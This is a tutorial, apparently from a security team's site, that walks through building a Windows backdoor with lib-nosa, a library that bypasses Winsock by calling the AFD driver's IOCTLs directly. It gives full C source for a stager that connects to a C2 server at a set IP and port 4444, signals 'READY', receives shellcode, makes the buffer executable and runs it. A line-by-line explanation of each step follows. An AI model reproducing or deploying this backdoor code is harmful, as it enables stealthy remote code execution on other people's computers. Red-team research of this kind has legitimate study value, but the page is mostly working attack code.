# Building Backdoors with Alternative Socket with lib-nosa (No Socket API)

**lib-nosa** is a minimalist C library designed to facilitate socket connections through AFD driver IOCTL operations on Windows. By bypassing the traditional `winsock2.h -> (ws2_dll.dll)` header, **lib-nosa** directly interacts with the internal socket APIs of the AFD (Ancillary Function Driver for WinSock), offering developers a lightweight and low-level alternative for network programming.

Created by [ViperX](https://viperx.io/) Team

**Repository:** <https://github.com/ViperXSecurity/lib-nosa>

### Features

* Establishes socket connections directly through AFD driver IOCTL calls, **bypassing** the standard Winsock2 interface.
* Focuses on simplicity and performance, with a small footprint and no unnecessary dependencies.
* Provides direct access to internal socket APIs, giving developers fine-grained control over network operations.
* Avoids the overhead and abstraction of the Winsock2 API, making it ideal for performance-critical applications.

## Building a Simple Backdoor with `lib-nosa`

Creating a simple backdoor using the `lib-nosa` library. We'll explore the core functions provided by `lib-nosa`, understand their purposes, and see how they integrate to establish a connection, send and receive data, and execute received shellcode.

### Overview

The backdoor's primary function is to connect to a Command and Control (C2) server, signal its readiness, receive a shellcode payload, and execute it. Here's the high-level flow:

1. **Establish Connection**: Connect to the C2 server using the specified IP and port.
2. **Allocate Memory**: Reserve memory to store the incoming shellcode.
3. **Signal Readiness**: Inform the server that the client is ready to receive the shellcode.
4. **Receive Shellcode**: Receive the shellcode from the server.
5. **Execute Shellcode**: Change memory permissions to executable and run the shellcode.
6. **Cleanup**: Release allocated resources.

Let's delve into each step, examining the code and the underlying `lib-nosa` APIs.

### The Code

```c
#include "nosa.h"

#define MAX_RECV_BYTES 4096  // Adjust this to a reasonable value based on expected shellcode size

/**
 * A simple backdoor that connects to a specified host and port, receives a shellcode binary,
 * allocates memory, writes the shellcode, and executes it.
 *
 * @returns 0 upon successful execution
 */
int main()
{
    HANDLE hSocket = NULL;
    NTSTATUS Status = 0;
    const char* socketType = "TCP";
    const char* host = "192.168.15.32";  // Command and Control (C2) server IP
    int port = 4444;                     // C2 server port

    SIZE_T totalBytesReceived = 0;
    LPVOID pktRecv = NULL;
    DWORD oldProtect;
    int (*func)();

    // Connect to the remote host
    Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
    if (Status != 0 || hSocket == NULL) {
        fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
        return 1;
    }
    printf("Connected to %s:%d\n", host, port);

    // Allocate a buffer for receiving the shellcode with read/write permissions
    pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pktRecv == NULL) {
        fprintf(stderr, "Failed to allocate memory for receiving data.\n");
        afd_close(hSocket);
        return 1;
    }
    memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory

    // Send a signal to the server that the client is ready to receive shellcode
    const char* readyMsg = "READY";
    Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
    if (Status != 0) {
        fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Receive the shellcode using nosa_recv API
    Status = nosa_recv(hSocket, pktRecv);
    if (Status <= 0) {  // Adjust based on the return value interpretation
        fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received

    // Change the memory protection to Read/Execute
    if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
        fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Execute the shellcode
    func = (int(*)())pktRecv;
    printf("Executing received shellcode...\n");
    func();

    // Clean up
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);

    return 0;
}
```

### Code Run

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2FG62FEWSRW6Q6CMJISZTq%2Fimage.png?alt=media&#x26;token=176debae-5806-49cb-a2ed-13896c667083" alt=""><figcaption><p>"Compiling <code>nosa-rev11.c</code> with <code>x86_64-w64-mingw32-gcc</code> </p></figcaption></figure>

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2Fabgt5Y7wCf1EJs8vj1wh%2Fimage.png?alt=media&#x26;token=fa62d6c7-aea9-434e-a9a1-cd596e7037b4" alt=""><figcaption><p>"Netcat is used to listen on port 4444 and receives a connection from IP 192.168.15.7, with 322 bytes sent and 5 bytes received."</p></figcaption></figure>

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2F0rLqazJrYdFsIn1P2ihy%2Fimage.png?alt=media&#x26;token=934a0419-8942-4b41-883f-79145d1a7c7b" alt=""><figcaption><p>"Execution of <code>nosa-rev11.exe</code> shows successful socket creation and connection to 192.168.15.32:4444, with a detailed hex dump of the data sent."</p></figcaption></figure>

### Detailed Breakdown

#### 1. Establishing a Connection

**Function Used**: `nosa_connect`

```c
Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
if (Status != 0 || hSocket == NULL) {
    fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
    return 1;
}
printf("Connected to %s:%d\n", host, port);
```

**`nosa_connect` Function**

```c
NTSTATUS nosa_connect(HANDLE* hSocket, char* host, int port, char* socketType)
```

* **Purpose**: Establishes a connection to a specified host and port using the desired socket type (e.g., TCP or UDP).
* **Parameters**:
  * `hSocket`: A pointer to a `HANDLE` where the function will store the created socket handle upon successful connection.
  * `host`: The target hostname or IP address.
  * `port`: The target port number.
  * `socketType`: The type of socket to use (`"TCP"` or `"UDP"`).
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* The function initializes and creates a socket based on the provided `socketType`.
* It resolves the `host` to an IP address, possibly using `nosa_dns_lookup` if a domain name is provided.
* It then attempts to establish a connection to the specified `host` and `port`.
* Upon success, it stores the socket handle in `hSocket`.

#### 2. Allocating Memory

```c
pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pktRecv == NULL) {
    fprintf(stderr, "Failed to allocate memory for receiving data.\n");
    afd_close(hSocket);
    return 1;
}
memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory
```

**Explanation**:

* Uses the Windows API `VirtualAlloc` to reserve a memory region of size `MAX_RECV_BYTES` (4096 bytes in this case) with read/write permissions.
* This memory will store the incoming shellcode.
* `memset` ensures the allocated memory is zeroed out to prevent any residual data.

#### 3. Signaling Readiness

**Function Used**: `nosa_send`

```c
const char* readyMsg = "READY";
Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
if (Status != 0) {
    fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}
```

**`nosa_send` Function**

```c
NTSTATUS nosa_send(HANDLE* hSocket, LPVOID packet_data, int packet_data_sz)
```

* **Purpose**: Sends data over an established socket connection.
* **Parameters**:
  * `hSocket`: Pointer to the socket handle over which data will be sent.
  * `packet_data`: Pointer to the data buffer to be sent.
  * `packet_data_sz`: Size of the data buffer in bytes.
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* Sends the string `"READY"` to the server, indicating that the client is prepared to receive the shellcode.
* Ensures that the entire message is sent successfully.

#### 4. Receiving the Shellcode

**Function Used**: `nosa_recv`

```c
Status = nosa_recv(hSocket, pktRecv);
if (Status <= 0) {
    fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received
```

**`nosa_recv` Function**

```c
NTSTATUS nosa_recv(HANDLE hSocket, LPVOID packet_data_received)
```

* **Purpose**: Receives data from an established socket connection.
* **Parameters**:
  * `hSocket`: The socket handle from which data will be received.
  * `packet_data_received`: Pointer to the buffer where the received data will be stored.
* **Return Value**: Returns the number of bytes received or an `NTSTATUS` code indicating an error.

**Explanation**:

* Receives data from the server, which should be the shellcode payload.
* Checks if the received byte count is greater than zero to ensure data was received successfully.
* The received data is stored in the previously allocated `pktRecv` buffer.

#### 5. Executing the Shellcode

```c
if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
    fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

// Execute the shellcode
func = (int(*)())pktRecv;
printf("Executing received shellcode...\n");
func();
```

**Explanation**:

* **Changing Memory Permissions**: Uses `VirtualProtect` to modify the memory permissions of the `pktRecv` buffer, allowing it to be executable.
  * Changes from `PAGE_READWRITE` to `PAGE_EXECUTE_READ`.
  * Stores the old protection settings in `oldProtect` (useful for restoring later if needed).
* **Executing the Shellcode**:
  * Casts the `pktRecv` buffer to a function pointer `func`.
  * Invokes `func()`, executing the shellcode.

**Safety Note**: Executing arbitrary shellcode can be extremely dangerous. Ensure that the shellcode is from a trusted source and that testing occurs in a controlled environment.

#### 6. Cleanup

```c
VirtualFree(pktRecv, 0, MEM_RELEASE);
afd_close(hSocket);
```

**Explanation**:

* **Memory Release**: Frees the allocated memory for `pktRecv` using `VirtualFree`.
* **Socket Closure**: Closes the established socket connection using `afd_close`.

### Understanding Additional `lib-nosa` APIs

#### `nosa_dns_lookup`

```c
NTSTATUS nosa_dns_lookup(HANDLE hSocket, const char* domain_name, DOMAIN_INFO* outBuffer)
```

* **Purpose**: Resolves a domain name to its corresponding IP address.
* **Parameters**:
  * `hSocket`: A socket handle used for the DNS query.
  * `domain_name`: The domain name to resolve (e.g., "example.com").
  * `outBuffer`: A pointer to a `DOMAIN_INFO` structure where the resolved IP address and related information will be stored.
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* This function is essential when the `host` parameter in `nosa_connect` is provided as a domain name rather than an IP address.
* It performs a DNS lookup to retrieve the IP address associated with the given domain.
* The resolved information is stored in the `outBuffer`, which can then be used for establishing connections.

#### `afd_close`

While not explicitly defined in the provided context, `afd_close` appears to be a function responsible for closing the socket handle.

**Assumed Function Signature**:

```c
void afd_close(HANDLE hSocket)
```

* **Purpose**: Closes an established socket connection.
* **Parameters**:
  * `hSocket`: The socket handle to be closed.
* **Explanation**: Ensures that the socket resources are properly released, preventing resource leaks.
